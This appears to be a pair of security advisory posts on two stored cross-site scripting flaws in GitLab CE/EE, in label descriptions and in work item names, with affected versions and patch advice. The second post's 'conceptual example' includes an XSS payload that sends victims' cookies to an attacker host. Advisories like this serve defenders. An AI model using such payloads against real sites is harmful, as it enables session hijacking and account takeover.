Author: Ameeba

Overview

Recently, a potentially devastating vulnerability, identified as CVE-2025-7739, was discovered in GitLab CE/EE. This vulnerability affects all versions from 18.2 before 18.2.2. The issue pertains to stored cross-site scripting (XSS), a serious security flaw that can allow authenticated users to inject malicious HTML content into scoped label descriptions under certain conditions. This can lead to potential system compromise or data leakage, posing significant risks to both data integrity and user privacy.

Vulnerability Summary

CVE ID: CVE-2025-7739
Severity: High (8.7 CVSS Score)
Attack Vector: Web-based
Privileges Required: User
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

GitLab CE | 18.2 before 18.2.2
GitLab EE | 18.2 before 18.2.2

How the Exploit Works

The exploit takes advantage of a flaw in the handling of scoped label descriptions in GitLab CE/EE. An attacker with user-level privileges, under certain conditions, can inject malicious HTML content into these descriptions. When these descriptions are rendered by a web browser, the malicious code is executed, potentially compromising the system or leaking sensitive data.

Conceptual Example Code

Here’s a high-level example of how an attacker might exploit this vulnerability:

POST /api/v4/projects/1/labels HTTP/1.1
Host: gitlab.example.com
Content-Type: application/json
Authorization: Bearer <User-Token>
{
"name": "legitimate_label",
"color": "#0033CC",
"description": "<img src=x onerror=alert('XSS')>"
}

In this example, the attacker is creating a new label. The description contains an image tag with a non-existent source (x), triggering the ‘onerror’ event, which executes a JavaScript ‘alert’ function. In a real-world scenario, the malicious script could carry out more harmful actions, such as stealing session cookies or performing actions on behalf of the user.

Mitigation Guidance

The most straightforward way to address this vulnerability is by applying the vendor-supplied patch. This patch corrects the flaw within the label description handling, preventing the execution of injected HTML. For those who cannot immediately apply the patch, using a web application firewall (WAF) or intrusion detection system (IDS) can offer temporary mitigation by detecting and blocking attempts to exploit this vulnerability.
Nevertheless, it’s important to apply the patch as soon as possible to fully resolve the issue, as relying on WAFs or IDS systems may not provide complete protection against all potential exploitation techniques.

Overview

A significant security vulnerability, CVE-2025-6186, has been discovered affecting GitLab Community Edition (CE) and Enterprise Edition (EE) that could potentially lead to account takeover. This vulnerability affects all versions from 18.1 before 18.1.4, and 18.2 before 18.2.2. This is a notable concern for any organization using these versions of GitLab as it could lead to unauthorized access, system compromise, or data leakage.
The vulnerability enables authenticated users to inject malicious HTML into work item names, a flaw that could be exploited to gain unauthorized control of another user’s account. This post will provide an in-depth look at this vulnerability, its potential impact, and the steps that can be taken to mitigate its risk.

Vulnerability Summary

CVE ID: CVE-2025-6186
Severity: High (8.7 on the CVSS scale)
Attack Vector: Web-based
Privileges Required: User level
User Interaction: Required
Impact: Account takeover, potential system compromise or data leakage

Affected Products

Product | Affected Versions

GitLab CE | 18.1 before 18.1.4
GitLab EE | 18.2 before 18.2.2

How the Exploit Works

The vulnerability occurs due to a lack of proper sanitization of user input in work item names. An authenticated user can craft malicious HTML code, which when entered as a work item name, can result in cross-site scripting (XSS). This malicious script can then be executed in the victim’s browser when they view the infected work item, potentially leading to unauthorized account access or even account takeover.

Conceptual Example Code

This is a
conceptual
example of how the vulnerability might be exploited. This is not a real exploit, but a demonstration of the underlying principle:

POST /workitems HTTP/1.1
Host: gitlab.example.com
Content-Type: application/json
{
"work_item_name": "<img src='x' onerror='fetch(`http://attacker.com/steal?cookie=${document.cookie}`)'>"
}

In this conceptual example, a malicious payload in the form of an HTML image tag is sent to the work items endpoint. The image tag contains a JavaScript `onerror` event that triggers when the image fails to load (as ‘x’ is not a valid source). This event sends a request to the attacker’s server with the victim’s cookies, potentially allowing session hijacking or account takeover.

Mitigation Guidance

Affected users should apply the vendor-supplied patch as soon as possible to mitigate this vulnerability. If immediate patching is not possible, users can deploy a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation strategy. The WAF or IDS should be configured to detect and block attempts to exploit this vulnerability, such as attempts to inject HTML into work item names.